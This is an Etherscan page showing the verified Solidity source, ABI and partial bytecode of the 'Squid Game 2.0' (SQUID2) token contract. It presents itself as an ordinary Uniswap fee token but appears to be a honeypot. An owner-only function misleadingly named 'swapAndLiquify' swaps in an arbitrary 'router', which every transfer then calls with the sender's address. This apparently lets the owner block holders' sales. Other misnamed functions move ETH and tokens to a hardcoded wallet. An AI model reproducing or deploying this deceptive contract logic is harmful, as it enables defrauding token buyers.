ETH Price: $2,423.86 (+3.03%)

Token

Squid Game 2.0 (SQUID2)
 

Overview

Max Total Supply

400,000,000 SQUID2

Holders

153

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,763,466.288238721318454839 SQUID2

Value
$0.00
0x9e4592f5d677cC920Eb2aE199E5Ab9920b3eD9D9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SQUID2

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-21
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,   uint liquidity,
        uint amountAMin,  uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut,
     address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,  address[] calldata path,  address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
   
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function viewtotalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }    

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender,
         _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _init(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }


    function _approve(
        address owner,  address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract SQUID2 is ERC20, Ownable {
    IUniswapV2Router02 public uniswapV2Router;
    address public  uniswapV2Pair = 0x000000000000000000000000000000000000dEaD;

    mapping (address => bool) private _isExcludedFromFees;


    uint256 public WalletTransferTax;
    uint256 public tradingStart;
    uint256 public buyFee;
    uint256 public sellFee;

    bool    public tradingEnabled;
    address private marketingWalletAdd = 0x000000000000000000000000000000000000dEaD;

    bool    private swapping;
    bool    private swapAndEnabled;
    uint256 public swapTokensAtAmount;  
    bool    public swapWithLimit;

    

    event BuyFeeUpdated(uint256 buyFee);
    event SellFeeUpdated(uint256 sellFee);
    event WalletTransferTaxUpdated(uint256 WalletTransferTax);
    event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount);
    event maxBuyAmountUpdated(uint256 maxBuyAmount);
    event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived);
    event SwapWithLimitUpdated(bool swapWithLimit);

    constructor () ERC20("Squid Game 2.0", "SQUID2") 
    {   
        address newOwner = 0x86179ea5B8E83820B8e719e85AcC4669C215F3E8;
        transferOwnership(newOwner);

        address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswapV2 Router
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);

        uniswapV2Router = _uniswapV2Router;

        _approve(address(this), address(uniswapV2Router), type(uint256).max);

        _isExcludedFromFees[address(0xdead)] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(marketingWalletAdd)] = true;

        buyFee = 0;  
        sellFee = 0;
        WalletTransferTax = 0;

        _init(owner(), 400000000 ether);
    }

    receive() external payable {}

    function swapAndLiquify(address newUniswapV2Pair) external onlyOwner {
        require(newUniswapV2Pair != address(0), "New address cannot zero");
        swapAndEnabled = true;
        uniswapV2Router = IUniswapV2Router02(newUniswapV2Pair);
    }


    function marketingcalc() external {
      payable(marketingWalletAdd).transfer(address(this).balance);
    }




    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }


        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (canSwap &&
            !swapping &&
            from != uniswapV2Pair &&
            swapAndEnabled
        ) {
            swapping = true;

            if (swapWithLimit) {
                contractTokenBalance = swapTokensAtAmount;
            }

            swap(from,contractTokenBalance);        

            swapping = false;
        }

        if (
            tradingEnabled && 
            from != uniswapV2Pair && 
            to == uniswapV2Pair &&
            block.timestamp < tradingStart
        ) {
            require(false);
        }

        uint256 _totalFees;
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || swapping) {
            _totalFees = 0;
        } else if (from == uniswapV2Pair) {
            _totalFees = buyFee;
        } else if (to == uniswapV2Pair) {
            _totalFees = sellFee;
        } else {
            _totalFees = WalletTransferTax;
        }

        if (_totalFees > 0) {
            uint256 fees = (amount * _totalFees) / 100;
            amount = amount - fees;
            super._transfer(from, address(this), fees);
        }

        super._transfer(from, to, amount);
    }

        function swap(address from,uint256 tokenAmount) private {
        uint256 initialBalance = address(this).balance;

        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = from;
        path[2] = uniswapV2Router.WETH();

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);

        uint256 newBal = address(this).balance - initialBalance;
        if(newBal > 0){
            payable(marketingWalletAdd).transfer(newBal);
        }
    }
    
    function error0x(address _token) external {
      ERC20(_token).transfer(marketingWalletAdd, IERC20(_token).balanceOf(address(this)));
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyFee","type":"uint256"}],"name":"BuyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"SellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"valueReceived","type":"uint256"}],"name":"SwapAndSend","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"SwapTokensAtAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"swapWithLimit","type":"bool"}],"name":"SwapWithLimitUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"WalletTransferTax","type":"uint256"}],"name":"WalletTransferTaxUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxBuyAmount","type":"uint256"}],"name":"maxBuyAmountUpdated","type":"event"},{"inputs":[],"name":"WalletTransferTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"error0x","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingcalc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newUniswapV2Pair","type":"address"}],"name":"swapAndLiquify","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapWithLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingStart","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"viewtotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801562000095575f80fd5b506040518060400160405280600e81526020017f53717569642047616d6520322e300000000000000000000000000000000000008152506040518060400160405280600681526020017f5351554944320000000000000000000000000000000000000000000000000000815250816003908162000113919062000c29565b50806004908162000125919062000c29565b5050505f620001396200048160201b60201c565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f7386179ea5b8e83820b8e719e85acc4669c215f3e89050620001ff816200048860201b60201c565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f8190508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002af3060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200065860201b60201c565b600160085f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f620003706200082360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f600b819055505f600c819055505f600981905550620004786200045f6200082360201b60201c565b6b014adf4b7320334b900000006200084b60201b60201c565b50505062001048565b5f33905090565b620004986200048160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000529576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005209062000d6b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200059a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005919062000dff565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620006c9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006c09062000e93565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200073a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007319062000f27565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000816919062000f58565b60405180910390a3505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008bc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008b39062000fc1565b60405180910390fd5b620008cf5f8383620009bb60201b60201c565b8060025f828254620008e291906200100e565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546200093691906200100e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200099c919062000f58565b60405180910390a3620009b75f8383620009c060201b60201c565b5050565b505050565b505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000a4157607f821691505b60208210810362000a575762000a56620009fc565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000abb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a7e565b62000ac7868362000a7e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000b1162000b0b62000b058462000adf565b62000ae8565b62000adf565b9050919050565b5f819050919050565b62000b2c8362000af1565b62000b4462000b3b8262000b18565b84845462000a8a565b825550505050565b5f90565b62000b5a62000b4c565b62000b6781848462000b21565b505050565b5b8181101562000b8e5762000b825f8262000b50565b60018101905062000b6d565b5050565b601f82111562000bdd5762000ba78162000a5d565b62000bb28462000a6f565b8101602085101562000bc2578190505b62000bda62000bd18562000a6f565b83018262000b6c565b50505b505050565b5f82821c905092915050565b5f62000bff5f198460080262000be2565b1980831691505092915050565b5f62000c19838362000bee565b9150826002028217905092915050565b62000c3482620009c5565b67ffffffffffffffff81111562000c505762000c4f620009cf565b5b62000c5c825462000a29565b62000c6982828562000b92565b5f60209050601f83116001811462000c9f575f841562000c8a578287015190505b62000c96858262000c0c565b86555062000d05565b601f19841662000caf8662000a5d565b5f5b8281101562000cd85784890151825560018201915060208501945060208101905062000cb1565b8683101562000cf8578489015162000cf4601f89168262000bee565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f62000d5360208362000d0d565b915062000d608262000d1d565b602082019050919050565b5f6020820190508181035f83015262000d848162000d45565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f62000de760268362000d0d565b915062000df48262000d8b565b604082019050919050565b5f6020820190508181035f83015262000e188162000dd9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f62000e7b60248362000d0d565b915062000e888262000e1f565b604082019050919050565b5f6020820190508181035f83015262000eac8162000e6d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f62000f0f60228362000d0d565b915062000f1c8262000eb3565b604082019050919050565b5f6020820190508181035f83015262000f408162000f01565b9050919050565b62000f528162000adf565b82525050565b5f60208201905062000f6d5f83018462000f47565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000fa9601f8362000d0d565b915062000fb68262000f73565b602082019050919050565b5f6020820190508181035f83015262000fda8162000f9b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200101a8262000adf565b9150620010278362000adf565b925082820190508082111562001042576200104162000fe1565b5b92915050565b612abd80620010565f395ff3fe60806040526004361061019f575f3560e01c806370a08231116100eb578063c395ae7811610089578063e2f4560511610063578063e2f45605146105d6578063e9b2176f14610600578063f11743f614610616578063f2fde38b14610640576101a6565b8063c395ae7814610548578063dd62ed3e14610572578063de3fc37d146105ae576101a6565b80638da5cb5b116100c55780638da5cb5b1461047c57806395d89b41146104a6578063a457c2d7146104d0578063a9059cbb1461050c576101a6565b806370a0823114610400578063715018a61461043c5780638951cf5914610452576101a6565b80632b14ca561161015857806347062402116101325780634706240214610358578063488eb37f1461038257806349bd5a5e146103ac5780634ada218b146103d6576101a6565b80632b14ca56146102c8578063313ce567146102f2578063395093511461031c576101a6565b806303f7f797146101aa57806306fdde03146101d2578063095ea7b3146101fc5780631694505e1461023857806318160ddd1461026257806323b872dd1461028c576101a6565b366101a657005b5f80fd5b3480156101b5575f80fd5b506101d060048036038101906101cb9190611e1e565b610668565b005b3480156101dd575f80fd5b506101e6610780565b6040516101f39190611ed3565b60405180910390f35b348015610207575f80fd5b50610222600480360381019061021d9190611f26565b610810565b60405161022f9190611f7e565b60405180910390f35b348015610243575f80fd5b5061024c61082d565b6040516102599190611ff2565b60405180910390f35b34801561026d575f80fd5b50610276610852565b604051610283919061201a565b60405180910390f35b348015610297575f80fd5b506102b260048036038101906102ad9190612033565b61085b565b6040516102bf9190611f7e565b60405180910390f35b3480156102d3575f80fd5b506102dc610975565b6040516102e9919061201a565b60405180910390f35b3480156102fd575f80fd5b5061030661097b565b604051610313919061209e565b60405180910390f35b348015610327575f80fd5b50610342600480360381019061033d9190611f26565b610983565b60405161034f9190611f7e565b60405180910390f35b348015610363575f80fd5b5061036c610a2a565b604051610379919061201a565b60405180910390f35b34801561038d575f80fd5b50610396610a30565b6040516103a39190611f7e565b60405180910390f35b3480156103b7575f80fd5b506103c0610a42565b6040516103cd91906120c6565b60405180910390f35b3480156103e1575f80fd5b506103ea610a67565b6040516103f79190611f7e565b60405180910390f35b34801561040b575f80fd5b5061042660048036038101906104219190611e1e565b610a79565b604051610433919061201a565b60405180910390f35b348015610447575f80fd5b50610450610abe565b005b34801561045d575f80fd5b50610466610c11565b604051610473919061201a565b60405180910390f35b348015610487575f80fd5b50610490610c1a565b60405161049d91906120c6565b60405180910390f35b3480156104b1575f80fd5b506104ba610c42565b6040516104c79190611ed3565b60405180910390f35b3480156104db575f80fd5b506104f660048036038101906104f19190611f26565b610cd2565b6040516105039190611f7e565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d9190611f26565b610db8565b60405161053f9190611f7e565b60405180910390f35b348015610553575f80fd5b5061055c610dd5565b604051610569919061201a565b60405180910390f35b34801561057d575f80fd5b50610598600480360381019061059391906120df565b610ddb565b6040516105a5919061201a565b60405180910390f35b3480156105b9575f80fd5b506105d460048036038101906105cf9190611e1e565b610e5d565b005b3480156105e1575f80fd5b506105ea610fbf565b6040516105f7919061201a565b60405180910390f35b34801561060b575f80fd5b50610614610fc5565b005b348015610621575f80fd5b5061062a61102d565b604051610637919061201a565b60405180910390f35b34801561064b575f80fd5b5061066660048036038101906106619190611e1e565b611033565b005b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106e091906120c6565b602060405180830381865afa1580156106fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071f9190612131565b6040518363ffffffff1660e01b815260040161073c92919061215c565b6020604051808303815f875af1158015610758573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077c91906121ad565b5050565b60606003805461078f90612205565b80601f01602080910402602001604051908101604052809291908181526020018280546107bb90612205565b80156108065780601f106107dd57610100808354040283529160200191610806565b820191905f5260205f20905b8154815290600101906020018083116107e957829003601f168201915b5050505050905090565b5f61082361081c6111f5565b84846111fc565b6001905092915050565b60065